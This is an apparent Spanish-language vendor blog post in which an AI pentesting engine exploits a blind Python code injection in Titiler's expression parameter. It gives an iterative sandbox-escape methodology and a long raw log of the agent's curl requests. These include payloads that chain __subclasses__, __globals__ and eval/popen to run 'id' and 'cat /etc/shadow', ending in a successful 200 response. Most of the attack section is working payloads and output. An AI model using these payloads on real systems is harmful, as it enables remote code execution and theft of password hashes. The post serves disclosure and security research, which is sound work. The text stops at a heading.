Neutron, nuestro motor de IA, obtuvo un 97.1% en el benchmark CyberGym de UC Berkeley. Más información

Seguridad

Seguridad

Automatización de la investigación de seguridad: un motor de IA explota una inyección ciega de código compleja

La precisión supera al envío masivo de payloads: el motor de IA de Ostorlab logra sistemáticamente RCE en Titiler y demuestra la exfiltración sin una sola traza de pila.

La explotación tradicional de vulnerabilidades puede consumir días o incluso semanas de pruebas manuales antes de lograr una explotación exitosa. Ver cómo sistemas de IA especializados explotan esos mismos errores en minutos resulta profundamente inquietante, en especial cuando muestran técnicas de explotación diferentes en cada ejecución.

El motor de pruebas de IA de Xbow identificó recientemente una vulnerabilidad de ejecución de código Python en Titiler, una aplicación de código abierto. Esta inyección de código destaca por su complejidad: dista mucho de ser una vulnerabilidad de ejecución sencilla y requiere payloads muy personalizados para explotarse con éxito.

Lo que hace especialmente interesante este hallazgo es el estrecho margen de detección. Un análisis más detallado muestra que la vulnerabilidad se identificó gracias a un único payload sofisticado entre cientos de pruebas. Sin ese payload concreto en el arsenal de pruebas, probablemente habría pasado inadvertida.

A continuación demostramos cómo descubrir la misma vulnerabilidad con un enfoque fundamentalmente diferente, que construye metódicamente el payload de explotación pieza a pieza y acaba revelando vectores inesperados.

Pasar de «dar con un payload concreto» a lograr detección sistemática con aprendizaje iterativo exigió un amplio refinamiento de los prompts de sistema y mejoras importantes en nuestra arquitectura de ingeniería de contexto.

El enfoque sistemático se desarrolla en fases diferenciadas:

Fase 1: sondeo inicial

Primero, busque vulnerabilidades de inyección comunes y directas con estos payloads concretos para comprender cómo procesa el servidor la entrada.

  1. Detectar el análisis y la reflexión de entradas:

  2. Payload: a'"<>&z

  3. Motivo: Observar cómo se gestionan los caracteres especiales. ¿Se reflejan tal cual, se codifican como HTML o se eliminan? Esto ayuda a entender el contexto, por ejemplo HTML o JSON.

  4. Detectar restricciones de tipo y gestión de errores:

  5. Payload: Si un parámetro espera un número (por ejemplo id=123), envíe una cadena (id=abc).

  6. Motivo: Un TypeError o error similar revela que el servidor procesa la entrada y puede dar pistas sobre el lenguaje y los frameworks del backend.

  7. Detectar evaluación de código (matemática):

  8. Payloads para SSTI: {{7*7}}, ${7*7}, #{7*7}

  9. Motivo: Si el servidor responde con 49, confirma que un motor de plantillas evalúa la entrada. Es un indicio sólido de SSTI.
  10. Payload para evaluación directa: 1/0
  11. Motivo: Puede provocar un ZeroDivisionError, confirmando que se evalúan expresiones sin procesar. Es un paso clave para identificar un oráculo.

  12. Intentar RCE directa:

  13. Payload: __import__('os').system('id')

  14. Motivo: Es el objetivo final. Si funciona, ha encontrado una vulnerabilidad crítica.

Si estos sondeos iniciales revelan una vulnerabilidad, comuníquela junto con el payload y la evidencia. Si se bloquean o no son concluyentes, utilice la información recopilada para continuar con la metodología principal siguiente.

Si un sondeo funciona, la segunda fase consiste en intentar construir el payload de forma iterativa.


Fase 2: metodología principal - construcción iterativa de payloads

Este es el método principal para encontrar y explotar vulnerabilidades complejas de inyección Python. Cuando los payloads simples fallen, utilizará las respuestas del servidor, especialmente los errores, como oráculo para construir un payload funcional pieza a pieza.

El principio subyacente (por qué funciona): Incluso en entornos Python muy restringidos mediante sandbox, donde globals y __builtins__ están limitados (como en eval(code, {'__builtins__':{}})), suele quedar una vía de escape crítica: el acceso a la jerarquía de objetos. Partiendo de un objeto simple e inocuo, como una cadena vacía '' o una tupla (), puede obtener su clase, ascender por el árbol de herencia hasta la base <class 'object'> y utilizar su método __subclasses__(). Esto proporciona una lista de todas las clases cargadas en memoria, un mapa hacia módulos y funciones integradas potentes que permiten escapar por completo del sandbox y lograr RCE. Los pasos siguientes implementan exactamente esta técnica.

Paso 1: identificar el oráculo (su mecanismo de respuesta)

  • Acción: Primero debe encontrar una forma de obtener información detallada del servidor. Un mensaje de error es el oráculo perfecto.
  • Payloads: {{ invalid_syntax' }}, {{ 1/0 }}
  • Objetivo: Provocar un error predecible, por ejemplo un 500 Internal Server Error con traza de pila.
  • Instrucción: Una vez encontrado, indique claramente cuál es el oráculo. Por ejemplo: «El oráculo es la traza de Jinja2 en la respuesta HTTP».

Paso 2: construir el payload de forma incremental desde una base funcional

  • DEBE construir el payload paso a paso, partiendo de una base que sepa que funciona. No avance al siguiente paso hasta confirmar que el actual funciona. Cada paso parte del último que tuvo éxito. Si un paso falla, analice el error y adapte el enfoque antes de continuar.

  • Establecer una base funcional: Encuentre una expresión simple que el servidor evalúe sin error. Será la base.

  • Incremento 1: acceder a su clase: Desde la base funcional, acceda a un atributo.
  • Incremento 2: acceder a la clase base object:
  • Incremento 3: encontrar todas las subclases:
  • Incremento 4: encontrar una subclase útil para RCE: Filtre las subclases para encontrar una de un módulo útil como os.
  • Incremento 5: acceder a las variables globales del módulo:
  • Paso final: ejecutar un comando:

Según nuestra experiencia, sin un prompt de sistema bien estructurado y aun con el contexto correcto, el motor no logra confirmar el problema. Proporcionar demasiadas herramientas también deteriora la calidad de detección. A continuación se muestra cómo actúa el motor.

Envíe una solicitud con una operación matemática inocua en el parámetro 'expression' para comprobar si la evalúa un intérprete Python. El objetivo es observar si la respuesta contiene el resultado calculado, por ejemplo '49', en lugar de la cadena original, por ejemplo '7*7', lo que confirmaría la evaluación de código.

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:

> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression='"' Output:

> GET /cog/point/0,0?url=a.tif&expression=' HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-w "%{time_total}" "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27time%27%29.sleep%2810%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27time%27%29.sleep%2810%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1/0 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[1.7976931348623157e+308],"band_names":["b1/0"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27id%27%29%22%29 HTTP/1.1

< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'list'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=tuple%28c.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1 
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=https......\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:

> GET /cog/point/0,0?url=https...<omitted>...&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"https...<omitted>...: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5B40%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.shape"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.shape HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'shape'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__name__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"data type must provide an itemsize"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+42%2C+99%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+42%2C+99%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%281%3D%3D1%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["where(1==1, b1, b1*0)"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.any%28%29%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'any'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28len%28%27abc%27%29+%3D%3D+3%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__doc__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'NoneType' object is not subscriptable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27n%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'n', b1, b1*0)"]}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27m%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["where(b1.__class__.__name__[0] == 'm', b1, b1*0)"]}

Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29"' Output:

> GET /cog/point/0,0?url=httpsa.tif&expression=where%28b1.__class__.__name__%5B0%5D+%3D%3D+%27a%27%2C+b1%2C+b1%2A0%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"a.tif: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:

> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'type'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'type'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__()"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__() HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'list'>"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27id%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__()+if+c.__name__%3D%3D%27Popen%27%5D%5B0%5D%28%27cat+%2Fetc%2Fshadow%27%2C+shell%3DTrue%2C+stdout%3D-1%29.communicate%28%29%5B0%5D.decode%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='"http://REDACTED/cog/point/0,0?url=httpsa.tif\&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29"' Output:

> GET /cog/point/0,0?url=httpsa.tif&expression=len%28b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"a.tif: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%5B0%3A10%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__+if+c.__name__+%3D%3D+%27catch_warnings%27%5D%5B0%5D.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'builtin_function_or_method' object is not iterable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__bases__%5B0%5D.__subclasses__%5B132%5D.__name__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'builtin_function_or_method' object is not subscriptable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.tobytes.__globals__.get%28%27__builtins__%27%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'tobytes'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"data type must provide an itemsize"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=raise+Exception%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=getattr%28b1%2C+open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=numpy.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'array'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28open%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__%28%27numpy%27%29.array%28list%28__import__%28%27os%27%29.name%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__class__.__init__.__globals__%5B%27numpy%27%5D.array%28list%28b1.__class__.__init__.__globals__%5B%27__builtins__%27%5D%5B%27open%27%5D%28%27%2Fetc%2Fshadow%27%29.read%28%29%29%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='"http://REDACTED/cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif\&expression=np.array(%5B1,+2,+3%5D)"' Output:

> GET /cog/point/0,0?url=https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif&expression=np.array(%5B1,+2,+3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"https_//raw.githubusercontent.com/mapbox/rasterio/master/tests/data/RGB.byte.tif: No such file or directory"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=np.array(%5B1,2,3%5D)"' Output:

> GET /cog/point/0,0?url=a.tif&expression=np.array(%5B1,2,3%5D) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.mean%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.mean%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object has no attribute 'mean'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%22%22.__class__.__mro__%5B1%5D.__subclasses__()%5B132%5D.__init__.__globals__%5B%22__builtins__%22%5D%5B%22eval%22%5D(%22__import__(%27os%27).system(%27id%27)%22)+and+b1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'wrapper_descriptor' object has no attribute '__globals__'"}

Args='"http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+%27%27.__class__.__mro__%5B1%5D.__subclasses__%28%29%5B%3A10%5D%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=7*7"' Output:

> GET /cog/point/0,0?url=a.tif&expression=7*7 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1/0"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1/0 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[255.0],"band_names":["b1"]}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('os').system('id')"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__('os').system('id') HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=__import__('time').sleep(10)"' Output:

> GET /cog/point/0,0?url=a.tif&expression=__import__('time').sleep(10) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=globals()"' Output:

> GET /cog/point/0,0?url=a.tif&expression=globals() HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=1"' Output:

> GET /cog/point/0,0?url=a.tif&expression=1 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"No indexes to read"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1;__import__('os').system('ls')"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1;__import__('os').system('ls') HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__ HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"unsupported expression type: <class 'dict'>"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str(b1.__init__.__globals__)"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str(b1.__init__.__globals__) HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=%5Bc+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29+if+c.__name__+%3D%3D+%27_wrap_close%27%5D%5B0%5D.__init__.__globals__%5B%27popen%27%5D%28%27cat+%2Fetc%2Fshadow%27%29.read%28%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"list index out of range"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=str%28%5Bc.__name__+for+c+in+b1.__class__.__bases__%5B0%5D.__subclasses__%28%29%5D%29 HTTP/1.1
< HTTP/1.1 500 Internal Server Error

{"detail":"'VariableNode' object is not callable"}

Args='-i "http://REDACTED/cog/point/0,0?url=a.tif\&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29"' Output:

> GET /cog/point/0,0?url=a.tif&expression=b1.__init__.__globals__%5B%27__builtins__%27%5D%5B%27eval%27%5D%28%22__import__%28%27os%27%29.system%28%27cat+%2Fetc%2Fshadow%27%29%22%29 HTTP/1.1
< HTTP/1.1 200 OK

{"coordinates":[0,0],"values":[0.0],"band_names":["b1.__init__.__globals__['__builtins__']['eval'](\"__import__('os').system('cat /etc/shadow')\")"]}

Hemos conservado deliberadamente todas las solicitudes en su forma original para mostrar cómo el motor fue refinando su enfoque a partir de las respuestas recibidas.

Este caso práctico valida un concepto emergente que hemos adoptado: tratar los LLM como entornos de ejecución donde los prompts de sistema funcionan como código ejecutable.

Considere este ejemplo ilustrativo:

Enfoque 1: cálculo directo

  • Prompt de sistema: «Usted es un experto en matemáticas de primer nivel mundial»
  • Resultado: El LLM intenta calcular las operaciones internamente, con la posibilidad de introducir errores de cálculo

Enfoque 2: generación y ejecución de código

  • Prompt de sistema: «Convierta problemas matemáticos en código Python, ejecútelo mediante herramientas y devuelva resultados verificados»
  • Resultado: El LLM genera código determinista, lo ejecuta mediante herramientas externas y devuelve resultados precisos y reproducibles

Esta diferencia fundamental en ingeniería de prompts demuestra que la forma de indicar a un agente cómo realizar una tarea tiene consecuencias profundas para la calidad y fiabilidad del resultado.

Al aplicar esta metodología a nuestro escenario de detección, el motor confirmó la presencia de la vulnerabilidad en su primer intento sistemático, frente a enfoques tradicionales de fuzzing que podrían necesitar miles de iteraciones.

Vulnerabilidad encontrada: inyección ciega de código Python

Resumen de la vulnerabilidad

